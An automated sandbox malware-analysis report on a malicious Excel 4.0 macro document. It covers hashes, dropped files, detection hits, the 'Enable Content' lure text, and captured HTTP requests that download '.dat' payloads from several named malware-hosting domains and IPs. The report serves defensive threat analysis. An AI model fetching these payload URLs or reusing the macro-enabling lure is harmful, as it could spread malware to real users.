Analysis Report Complaint-1992179913-02182021.xls

ID:	356738
Product:	CloudBasic
Start time:	15:56:39
Start date:	23.02.2021
Sample:	Complaint-1992179913-02182021.xls
Cookbook:	defaultwindowsofficecookbook.jbs
System description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Architecture:	WINDOWS
MD5:	b2c46df91cfe891f61af65277461b32b
SHA1:	fd329e179663a40c31f5c567228a59349928a6a5
SHA256:	3b9790a911cff3e1572608f3cc377a3776c63014c4230eebc46b0a220f22b1f5
Filetype:	Microsoft Excel sheet (30009/1) 78.94%

Name	Type	MD5	SHA1	SHA256
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\30D802E0E248FEE17AAF4A62594CC75A	data	ADAB5C4DF031FB9299F71ADA7E18F613	33E4E80807204C2B6182A3A14B591ACD25B5F0DB	7FA4FF68EC04A99D7528D5085F94907F4D1DD1C5381BACDC832ED5C960214676
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\30D802E0E248FEE17AAF4A62594CC75A	data	5C0062E1FDB7DD1FA8E52F75B646DB76	FD494729C69970219FF8E770389F06C234DF0B80	9BA8C1B92E4FA8A1AD67B0742654642F1B375E3AB1A6ECF94E3C62C5B2AAF385
C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\3A40564D-B724-4EFB-A118-96220352F3F1	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators	45B476C199428226B8C8D806849E0314	0328182400FD1C6524C344C653F87B862E5C2B88	27A61C896C19DD04F94D375E4F7E4C65D0E9926668EEC6F4151972E0EDC8B2EF
C:\Users\user\AppData\Local\Temp\AC910000	data	97AEF11CCFBF9743A5D7C8DCDC32BDBC	B2A73BBA538D4B8A9E3B9149BE140CA0078FFD6F	DAEC2DDEA16AA1520E481F8B0DE9CEC060E257C0AC96B3D34187DF65DBF4B0A8
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Complaint-1992179913-02182021.xls.LNK	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Sep 30 14:03:44 2020, mtime=Tue Feb 23 22:59:53 2021, atime=Tue Feb 23 22:59:53 2021, length=60928, window=hide	6CE24E47B88D8ED0380A85F11DC331B4	0609005F0D8C9B14109CB3D4792DE2824B5BB824	67F633A7382E5BA00488B61F8BA1DCA1F3A3F90A21187294173EE211FB0E5810
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Thu Jun 27 16:19:49 2019, mtime=Tue Feb 23 22:59:53 2021, atime=Tue Feb 23 22:59:53 2021, length=12288, window=hide	5DE43DFCF510EC94C5C28944111630D2	1913CEE4AB5983FB2B00EBF318A98F7079326E5B	07E557AA6595801D8EFB7A73A39317C26BB8302B7B4986A653D1979A2F536938
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat	ASCII text, with CRLF line terminators	44EF8DDBAA84E0410A000AC715DF4B24	EA46B84FFE9DB049C77EA50E5E3BB02C3EC523D5	976B865F247F1FCD9555213FC0B6D702B9FFC050D42A46AF56492C16B81D5912
C:\Users\user\Desktop\9D910000	Applesoft BASIC program data, first line number 16	4E04F9F72397B3B758687899986998DC	16B81519271E5F3726D93BDEC4DAB856589D10D6	C081FAA65265BD90138236337CA45F1BDCE683763B34EE84352451F956365666

AV Detection:

Antivirus detection for URL or domain

Source: http://pathinanchilearthmovers.com/eznwcdhx/44250666589120400000.dat

Avira URL Cloud: Label: malware

Compliance:

Uses new MSVCR Dlls

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Uses secure TLS version for HTTPS connections

Source: unknown

HTTPS traffic detected: 138.36.237.100:443 -> 192.168.2.3:49722 version: TLS 1.2

Software Vulnerabilities:

Document exploit detected (UrlDownloadToFile)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Section loaded: unknown origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\rundll32.exe

Jump to behavior

Potential document exploit detected (performs DNS queries)

Source: global traffic

DNS query: name: rzminc.com

Potential document exploit detected (performs HTTP gets)

Source: global traffic

TCP traffic: 192.168.2.3:49722 -> 138.36.237.100:443

Potential document exploit detected (unknown TCP traffic)

Source: global traffic

TCP traffic: 192.168.2.3:49717 -> 72.52.227.180:80

Networking:

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 162.241.80.6 162.241.80.6
Source: Joe Sandbox View	IP Address: 138.36.237.100 138.36.237.100
Source: Joe Sandbox View	IP Address: 91.199.212.52 91.199.212.52
Source: Joe Sandbox View	IP Address: 91.199.212.52 91.199.212.52

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: GET /xklyulyijvn/44250666589120400000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rzminc.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /eznwcdhx/44250666589120400000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: pathinanchilearthmovers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xjzpfwc/44250666589120400000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: jugueterialatorre.com.arConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fdzgprclatqo/44250666589120400000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rzminc.comConnection: Keep-Alive

Downloads files from webservers via HTTP

Source: global traffic	HTTP traffic detected: GET /xklyulyijvn/44250666589120400000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rzminc.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /eznwcdhx/44250666589120400000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: pathinanchilearthmovers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xjzpfwc/44250666589120400000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: jugueterialatorre.com.arConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SectigoRSADomainValidationSecureServerCA.crt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/10.0Host: crt.sectigo.com
Source: global traffic	HTTP traffic detected: GET /fdzgprclatqo/44250666589120400000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rzminc.comConnection: Keep-Alive

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: rzminc.com

Urls found in memory or binary data

Source: 30D802E0E248FEE17AAF4A62594CC75A.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://api.cortana.ai
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://api.office.net
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://api.onedrive.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://augloop.office.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://cdn.entity.
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://cortana.ai
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://cortana.ai/api
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://cr.office.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://directory.services.
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://graph.windows.net
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://graph.windows.net/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://login.windows.local
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://management.azure.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://management.azure.com/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://messaging.office.com/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://ncus-000.contentsync.
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://ncus-000.pagecontentsync.
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://officeapps.live.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://onedrive.live.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://outlook.office.com/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://settings.outlook.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://store.office.com/?productgroup=Outlook
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://store.office.com/addinstemplate
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://store.officeppe.com/addinstemplate
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://tasks.office.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://templatelogging.office.com/client/log
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://wus2-000.contentsync.
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://wus2-000.pagecontentsync.
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 3A40564D-B724-4EFB-A118-96220352F3F1.0.dr	String found in binary or memory: https://www.odwebp.svc.ms

Uses HTTPS

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443

Uses secure TLS version for HTTPS connections

Source: unknown

HTTPS traffic detected: 138.36.237.100:443 -> 192.168.2.3:49722 version: TLS 1.2

System Summary:

Found malicious Excel 4.0 Macro

Source: Complaint-1992179913-02182021.xls

Initial sample: urlmon

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 8	Screenshot OCR: Enable Editing, please clic x 14_ from the yellow bar above ok 15 DFR,hdfgr4 16 I : I \.Oj Th
Source: Screenshot number: 12	Screenshot OCR: Enable Editing, please click The specified module could not befound. 14_ from the yellow bar above
Source: Screenshot number: 16	Screenshot OCR: Enable Editing, please click Enable Content 14_ from the yellow bar above 15 O G) 16 17 ,, WHY
Source: Screenshot number: 16	Screenshot OCR: Enable Content 14_ from the yellow bar above 15 O G) 16 17 ,, WHY I CANNOT OPEN THIS DOCUMENT?
